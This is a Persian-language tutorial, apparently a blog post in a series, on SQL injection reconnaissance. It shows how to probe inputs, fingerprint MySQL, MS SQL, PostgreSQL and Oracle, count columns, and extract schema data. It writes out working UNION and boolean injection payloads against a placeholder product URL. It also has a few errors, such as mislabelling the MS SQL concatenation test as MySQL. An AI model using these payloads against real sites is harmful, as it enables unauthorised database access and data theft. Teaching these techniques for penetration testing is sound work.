تزریق SQL پیشرفته – انگشتنگاری پایگاه داده و شناسایی عمومی برای اجرای حملهای مؤثرتر


«دشمن را بشناس!» این توصیه عاقلانهای است که در موقعیتهای مختلفی میتوان به آن استناد کرد. یکی از این زمینهها هک کردن پایگاه داده است. اجرای عملیات شناسایی (reconnaissance) بر روی یک سیستم پیش از اندیشیدن در مورد انجام هر نوع حمله، امری ضروری تلقی میشود و در مورد حمله تزریق اسکیواِل نیز در این زمینه تفاوتی وجود ندارد.
در نخستین بخش از این سلسله نوشتهها با عنوان «اصول پایگاه داده و SQL — همه آن چه یک هکر باید بداند» اصول مقدماتی را مطرح کردیم که توصیه میکنیم اگر آنها را نخواندهاید پیش از ادامه این مطلب دستکم مروری بر روی آنها داشته باشید. اینک آمادهاید که روشهای شناسایی و انگشتنگاری پایگاههای داده را شروع کنید. بنابراین بر روی اجرای کارآمدتر حملهها تمرکز میکنیم.
بررسی ابتدایی
پیش از اجرای هر گونه حمله میبایست نخست بررسی کنیم که آیا برنامه هدف در برابر تزریق اسکیواِل آسیبپذیر است یا نه. هر جایی از برنامه که احتمال میرود با پایگاه داده در تعامل باشد، میتواند یک هدف باشد. پس مهم است که همه فیلدهای ورودی را بررسی کنیم تا ببینیم که آیا هر نوع آسیبپذیری وجود دارد یا نه.
معمولاً استفاده از یک گیومه تکی (‘) شروع خوبی محسوب میشود. این علامت در دستورات اسکیواِل برای نشان دادن انتهای رشته متنی استفاده میشود و اگر ورودیهای وبسایت هدف به درستی فیلتر نشده باشند، احتمالاً یک خطا بازمیگرداند. علامت نقطهویرگول (;) را نیز میتوان امتحان کرد، چون در انتهای دستورهای اسکیواِل مورد استفاده قرار میگیرد. کاراکترهای توضیح مانند --- و /* */ نیز ممکن است مانند کلیدواژههای OR و AND خطاهایی تولید کنند. روش دیگر برای فریب دادن پایگاه داده برای بازگرداندن خطا این است که وقتی برنامه انتظار وارد کردن عدد دارد، یک رشته متنی وارد کنیم و یا برعکس.
پارامترهای URL
در برخی موارد میتوانیم از طریق پارامترهای URL بررسی کنیم که آیا صفحه وب در برابر تزریق اسکیواِل آسیبپذیر است یا نه. URL زیر نمونهای مشخص از شیوه نمایش محصولات یا اطلاعات از سوی پایگاه داده بر روی یک صفحه وب محسوب میشود:
http://www.exampleurl.com/product.php?id=4
در این مورد id یک پارامتر و 4 مقدار آن است. در ادامه کوئری مربوطه را ارائه کردهایم:
SELECT * FROM Products WHERE ProductID=4;
ما با استفاده از همان روش که قبلاً برای فیلدهای ورودی استفاده کردیم، میتوانیم از این موضوع نیز بهره بگیریم. در صورتی که خطایی تولید شد، تقریباً میتوان مطمئن بود که تزریق امکانپذیر است.
زمانی که مشغول آزمودن تزریق اسکیواِل هستیم اطلاع داشتن از پاسخهایی که سرور برمیگرداند، کمک بزرگی محسوب میشود. در اغلب موارد شانس این که اطلاعات پیام خطا دقیق باشند وجود ندارد، بنابراین بررسی کد سورس صفحه وب میتواند گزینه بهتری باشد. در برخی موارد حتی یک صفحه خالی میتواند نشانهای از وجود آسیبپذیری باشد.
انگشتنگاری پایگاه داده
انواع مختلفی از سیستمهای پایگاه داده وجود دارند، بنابراین معقول است که نخست و پیش از اجرای حمله بفهمیم با چه نوع پایگاه داده رابطهای مواجه هستیم. این کار نه تنها موجب صرفهجویی در زمان و تلاش میشود؛ بلکه تعداد حملههایی که میتوانیم اجرا کنیم را مشخصتر میسازد. نمونههای زیر تکنیکهایی را برای اجرای این کار نشان میدهد که مربوط به MySQL، Microsoft SQL Server، PostgreSQL و Oracle هستند.
روش یکم: کوئری زدن به پایگاه داده برای دریافت اطلاعات نسخه
نخستین چیزی که میتوان برای بررسی کوئری به پایگاه داده بررسی کرد، دریافت اطلاعات نسخه آن است. این دستورها درون پایگاه داده هستند و بنابراین غالباً سادهترین روش شناسایی آن محسوب میشوند. تزریقهای مربوطه در ادامه ارائه شدهاند:
- MySQL: SELECT version()
- MS SQL: SELECT @@version
- PostgreSQL: SELECT version()
- Oracle: SELECT version FROM v$instance or SELECT FROM PRODUCT_COMPONENT_VERSION
با استفاده از URL نمونه قبلی میتوان این تزریق را برای MySQL و PostgreSQL اجرا کرد:
http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version()
این آن چیزی است که به پایگاه داده ارسال میشود:
SELECT * FROM Products WHERE ProductID = 4 UNION SELECT version();
در مورد مای اسکیواِل:
http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20@@version
و در مورد کوئری پایگاه داده:
SELECT * FROM Products WHERE ProductID = 4 UNION SELECT @@version;
در مورد اوراکل:
http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version%20FROM%20v$instance
کوئری پایگاه داده:
SELECT * FROM Products WHERE ProductID = 4 UNION SELECT version FROM v$instance;
روش دوم: استفاده از کوئری بولی
روش بعدی در جهت تلاش برای الحاق رشتهای است، زیرا سیستمهای مختلف پایگاه داده این مسئله را به روشهای مختلفی مدیریت میکنند. این کار از طریق اجرای یک آزمون بولی انجام میگیرد و اگر کوئری بازگشتی مقدار true داشته باشد، میفهمید که ترفندتان پاسخ داده است. در ادامه روش مدیریت الحاق رشتهای در سیستمهای مختلف RDBMS نشان داده شده است:
- MySQL: CONCAT('a','b')
- MS SQL: 'a' + 'b'
- PostgreSQL: 'a' || 'b'
- Oracle: CONCAT('a','b') or 'a' || 'b'
بنابراین به URL ی که از مایاسکیواِل یا اوراکل به عنوان پایگاه داده استفاده میکند، نگاهی میاندازیم:
http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=CONCAT%28%27a%27%2C%27b%27%29
در ادامه کوئری حاصل، ارائه شده است. اگر این کوئری مقدار صحیح باز گرداند، در این صورت میفهمیم که با پایگاه داده اوراکل یا مای اسکیواِل سرور کارداریم.
SELECT * FROM Products WHERE ProductID = 4 AND 'ab' = CONCAT('a','b');
از این جا به بعد میتوانید همان تزریقی را که به وسیله دستورهای دیگر الحاق رشتهای اوراکل انجام مییابند و برای PostgreSQL نیز پاسخگو هستند، اجرا کنید.
http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20||%20%27b%27
و کوئری حاصل به صورت زیر خواهد بود. اگر این کوئری جواب نداد و کوئری نخست برای مای اسکیواِل و اوراکل جواب داده بود، در این صورت میتوانید کاملاً مطمئن باشید که پایگاه داده از نوع مایاسکیواِل است.
SELECT * FROM Products WHERE ProductID = 4 AND 'ab' = 'a' || 'b';
در مورد مایاسکیواِل URL به صورت زیر خواهد بود:
http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20+%20%27b%27
و کوئری پایگاه داده به صورت زیر است:
SELECT * FROM Products WHERE ProductID = 4 AND 'ab' = 'a' + 'b';
روش سوم: آنالیز کردن پیام خطای دریافتی
روش مفید دیگر برای شناسایی پایگاه داده این است که پیام خطای بازگشتی از پایگاه داده برنامه را هنگام بررسی امکان تزریق اسکیواِل آنالیز کنیم.
مایاسکیواِل معمولاً چیزی شبیه به زیر بازمیگرداند:
Cannot query the database.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'" at line 1
اوراکل کاراکترهای «ORA» و سپس یک علامت خط تیره و یک عدد 5 رقمی بازمیگرداند. شناسایی ِاِمِاِسکیواِل و PostgreSQL کار چندان سرراستی نیست، اما بررسی کردن ورودیهای مختلف معمولاً منجر به این میشود که نتایج مطلوب به دست آید. همچنین جستجوی مستقیم گوگل در مورد مقادیر بازگشتی، معمولاً راهگشا خواهد بود.
روش چهارم: حدسهای استادانه
در نهایت اگر همه موارد فوق ناموفق بودند، معمولاً میتوانیم از حدسهای استادانه خود در مورد نوع پایگاه دادهای که برنامه مورد استفاده قرار میدهد، استفاده کنیم. سایتهایی که با پیاچپی نوشته شدهاند، معمولاً از پایگاه داده مایاسکیواِل استفاده میکنند. مایکروسافت داتنت معمولاً از اماسکیوال استفاده میکند. برنامههای وب پایتون مانند جانگو غالباً از PostgreSQL استفاده میکنند و پایگاه داده اوراکل نیز در اغلب موارد از سوی برنامههای جاوا مورد استفاده قرار میگیرد. زمانی که نوع پایگاه دادهای که با آن سروکار داریم را شناسایی کردیم، گردآوری اطلاعات پیشرفتهتر، کار آسانتری خواهد بود.
یافتن نام جدولها
برای این که تزریق اسکیواِل به بهترین نحو اجرا شود، باید بدانیم که نام جدولهایی که در واقعیت در پایگاه داده وجود دارند چیست. از عملگر UNION در SQL میتوان برای الحاق یک کوئری جعلی به کوئری اصلی استفاده کرد و بدین ترتیب میتوانیم برخی دادههای جدول را مشاهده کنیم. برای مثال به جدولهای USERS و Admins که در نوشته قبلی معرفی کردیم نگاهی میکنیم:
میتوانیم از کوئری زیر برای شروع به استخراج اطلاعات از جدولها استفاده کنیم:
SELECT * FROM Users WHERE ID = 1 ORDER BY 4;
حدس زدن تعداد ستونها
نخستین چیزی که برای موفقیت روش فوق باید انجام دهیم، این است که تعداد صحیح ستونها را حدس بزنیم زیرا دستور SELECT درون UNION باید بر روی هردو آنها تعداد یکسانی داشته باشد. این کار از طریق بند (Clause) ORDER BY میسر است. کافی است به تدریج عدد ORDER BY را افزایش دهیم و زمانی که کوئری ناموفق بود T میتوانیم کاملاً مطمئن باشیم که تعداد ستونها بیش از این مقدار تعیین شده است.
سپس باید بدانیم که نوع داده هر ستون چه است. این کار با اندکی آزمون و خطا و استفاده از مقادیر null ممکن میشود. با استفاده از جدولهای مثال قبلی میتوانیم شروع به حدس زدن نوع دادههای ستون نخست بکنیم:
SELECT * FROM Users UNION SELECT 1 ,null ,null ,null--
میدانیم که چهار ستون در کل وجود دارد، پس میتوانیم برای ستون اول یک نوع integer را بررسی کنیم و سپس سه مقدار null را تست میکنیم. ستون نخست معمولاً نوعی id است، بنابراین بهتر است ابتدا آن را به صورت integer تست کنیم. اگر کوئری موفق بود میتوانیم تصور کنیم که نوع داده صحیحی را اجرا کردهایم و سپس به سراغ ستون بعدی برویم.
SELECT * FROM Users UNION SELECT 1 ,'x' ,null ,null--
این x در داخل گیومه نشان دهنده یک رشته متنی است و زمانی که موفق باشد، میتوانیم با استفاده از همین فرایند به سراغ ستونهای بافی مانده برویم.
استخراج اطلاعات شِما
اغلب پایگاههای داده جداول پیشفرضی دارند که شامل اطلاعات شِما و فراداده مرتبط با جدولهای دیگر در سیستم هستند. میتوانیم از تزریق بر اساس UNION برای بازیابی این دادهها استفاده کنیم. مای اسکیواِل، اماسکیوال و PostgreSQL همگی از جدول nformationschema.tables استفاده میکنند که شامل ستونهایی با عنوانهای table_name و table_schema است. بنابراین جمله تزریق میتواند به دنبال چیزی مانند زیر باشد:
SELECT ID ,Name FROM Users UNION SELECT table_name ,table_schema FROM information_schema.tables--
اوراکل از تبدیل نام متفاوتی استفاده میکند؛ اما مفهوم آن نیز مشابه است:
SELECT ID ,Name FROM Users UNION SELECT table_name ,owner FROM all_tables--
همان طور که میبینید تزریق اسکیواِل بر مبنای UNION میتواند اطلاعات زیادی را از ستونهای یک پایگاه داده افشا کند.
سخن پایانی
گردآوری اطلاعات یکی از مهمترین مراحل تست نفوذ موفق و هک است. اینک که روشهای شناسایی اطلاعات کلیدی در مورد یک پایگاه داده را آموختید، میتوانید وارد مراحل پیشرفتهتر نفوذ به پایگاههای داده بشوید. اگر این نوشته توجه شما را جلب کرده است، آموزشهای زیر نیز احتمالاً مورد توجه شما واقع خواهد شد:
- آموزش اصول، اهداف و تعاریف امنیت شبکه های کامپیوتری
- آموزش امنیت شبکه های کامپیوتری
- آموزش تست نفوذ در جهان واقعی
- پایگاه داده و سیستم های مدیریت اطلاعات
- آموزش پایگاه داده ها
- آموزش SQL Server Management Studio | کامل، رایگان و گام به گام
==